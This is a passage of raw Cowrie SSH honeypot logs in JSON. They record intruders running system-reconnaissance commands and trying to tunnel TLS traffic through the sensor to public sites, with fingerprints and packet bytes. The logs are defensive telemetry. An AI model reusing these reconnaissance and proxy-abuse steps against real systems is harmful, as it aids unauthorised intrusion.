\"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:02.567795Z","src_ip":"91.92.240.199","session":"3717229f23f2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:02.572248Z","src_ip":"91.92.240.199","session":"3717229f23f2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:02.576038Z","src_ip":"91.92.240.199","session":"3717229f23f2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:02.579965Z","src_ip":"91.92.240.199","session":"3717229f23f2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -d. -f1","message":"Command not found: cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:02.583997Z","src_ip":"91.92.240.199","session":"3717229f23f2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":74,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:02.800060Z","src_ip":"91.92.240.199","session":"3717229f23f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:02.805071Z","src_ip":"91.92.240.199","session":"3717229f23f2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.251.143.91","dst_port":443,"src_ip":"77.90.185.17","src_port":33364,"message":"direct-tcp connection request to 34.251.143.91:443 from 127.0.0.1:33364","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:03.102795Z","session":"ed37d8c5f4e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":52758,"dst_ip":"159.203.135.109","dst_port":22,"session":"313c4f4e7f2e","protocol":"ssh","message":"New connection: 101.44.96.62:52758 (159.203.135.109:22) [session: 313c4f4e7f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:03.451437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:03.455791Z","src_ip":"101.44.96.62","session":"313c4f4e7f2e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.251.143.91","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.251.143.91:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:03.564065Z","src_ip":"77.90.185.17","session":"ed37d8c5f4e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.251.143.91","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x136;\\xf9\\x94\\xfbu\\xbbND\\xdd\\x91\\xe9\\xe9\\x9c\\xf9q\\x88\\x8eJ\\xd1\\x1e\\xbc\\xfb\\x88\\xde\\x7f\\x0e`\\xa8\\xaf\\x05 S\\xd6\\x02\\x19\\x85\\xa4\\x14K5\\xa1\\\\\\xc2H\\xbc\\xf0\\x01\\xed\\xb5\\xf6\\xad\\x1f\\xed*\\x9f\\xb38\\x91\\xa6\\xa8\\xae-\\xf1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x99\\xce\\xcd\\x0b\\xbdCC\\xdf\\xc8\\xb9\\xe5\\x04\\xf6\\xe2\\xbd\\x9f\\xad\\xfeN\\xcf\\x90\\xf2{\\xbb\\xbd\\xa6\\x1d\\xf1\\xa3J\\xbe{\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.251.143.91:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x136;\\xf9\\x94\\xfbu\\xbbND\\xdd\\x91\\xe9\\xe9\\x9c\\xf9q\\x88\\x8eJ\\xd1\\x1e\\xbc\\xfb\\x88\\xde\\x7f\\x0e`\\xa8\\xaf\\x05 S\\xd6\\x02\\x19\\x85\\xa4\\x14K5\\xa1\\\\\\xc2H\\xbc\\xf0\\x01\\xed\\xb5\\xf6\\xad\\x1f\\xed*\\x9f\\xb38\\x91\\xa6\\xa8\\xae-\\xf1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x99\\xce\\xcd\\x0b\\xbdCC\\xdf\\xc8\\xb9\\xe5\\x04\\xf6\\xe2\\xbd\\x9f\\xad\\xfeN\\xcf\\x90\\xf2{\\xbb\\xbd\\xa6\\x1d\\xf1\\xa3J\\xbe{\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:03.566451Z","src_ip":"77.90.185.17","session":"ed37d8c5f4e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:03.773945Z","src_ip":"101.44.96.62","session":"313c4f4e7f2e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"95.100.177.76","dst_port":443,"src_ip":"77.90.185.17","src_port":33918,"message":"direct-tcp connection request to 95.100.177.76:443 from 127.0.0.1:33918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:03.882889Z","session":"ed37d8c5f4e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"95.100.177.76","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 95.100.177.76:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:04.064762Z","src_ip":"77.90.185.17","session":"ed37d8c5f4e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"95.100.177.76","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa1\\xfe6\\xd5\\x1f\\x17\\x98\\xc9>\\xe4\\x0b\\xafh\\xb2\\x18\\x05\\xd9\\xf5\\xa0\\x99\\xd3S\\x8d\\xf9\\x89\\xa7\\xf8\\xa4\\xa5\\xe6\\xd5/ ^\\xbc\\xdflm\\xcf\\xa0R\\xa8\\xfe\\xa9\\xf5\\xcb\\xb5&2\\x94\\xbf\\xa8\\x00:\\x9e-\\xf2\\xf6\\xcb\\xf7\\xaa\"\\xe0\\x92\\x04\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x96\\xeb\\xc0Oc\\x91+\\x03\\xeb-\\x08\\xcc\\xd9\\x94K`\\x0cQ\\xfe\\xd6BX\\x0cA\\xa7\\\\.\\x17$\\x1c\\xc3y\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 95.100.177.76:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa1\\xfe6\\xd5\\x1f\\x17\\x98\\xc9>\\xe4\\x0b\\xafh\\xb2\\x18\\x05\\xd9\\xf5\\xa0\\x99\\xd3S\\x8d\\xf9\\x89\\xa7\\xf8\\xa4\\xa5\\xe6\\xd5/ ^\\xbc\\xdflm\\xcf\\xa0R\\xa8\\xfe\\xa9\\xf5\\xcb\\xb5&2\\x94\\xbf\\xa8\\x00:\\x9e-\\xf2\\xf6\\xcb\\xf7\\xaa\"\\xe0\\x92\\x04\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x96\\xeb\\xc0Oc\\x91+\\x03\\xeb-\\x08\\xcc\\xd9\\x94K`\\x0cQ\\xfe\\xd6BX\\x0cA\\xa7\\\\.\\x17$\\x1c\\xc3y\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:04.067937Z","src_ip":"77.90.185.17","session":"ed37d8c5f4e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.156.119","dst_port":443,"src_ip":"77.90.185.17","src_port":34368,"message":"direct-tcp connection request to 142.251.156.119:443 from 127.0.0.1:34368","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:04.198140Z","session":"ed37d8c5f4e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.156.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.156.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:04.374260Z","src_ip":"77.90.185.17","session":"ed37d8c5f4e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.156.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb8s \\x16\\x94\\xe3\\x86\\x13\\xc1B\\xd0\\xdfc\\xf2-g\\xf6\\x9d\\x88\\x0e\\xd4\\x10\\xc4\\x90\\x9a\\xc4G\\x8a\\xc5\\x11\\xe8U \\xa6\\xaei\\xccfQP\\xf0}+@\\xd1\\xe3\\xdbf8x\\xd3x\\rl\\\\\\x80\\x98\\x17's\\xcf\\x93d\\xeb\\x9e\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 V\\xb5\\xc0\\xe5\\xadX\\x8c\\x9fl\\x15\\xdd;\\xa3s\\xcf\\xe4\\\\p\\xf6:x\\x08\\x0f~d\\x98\\xcb\\xc0\\xd3\\x9e&'\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.156.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb8s \\x16\\x94\\xe3\\x86\\x13\\xc1B\\xd0\\xdfc\\xf2-g\\xf6\\x9d\\x88\\x0e\\xd4\\x10\\xc4\\x90\\x9a\\xc4G\\x8a\\xc5\\x11\\xe8U \\xa6\\xaei\\xccfQP\\xf0}+@\\xd1\\xe3\\xdbf8x\\xd3x\\rl\\\\\\x80\\x98\\x17's\\xcf\\x93d\\xeb\\x9e\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\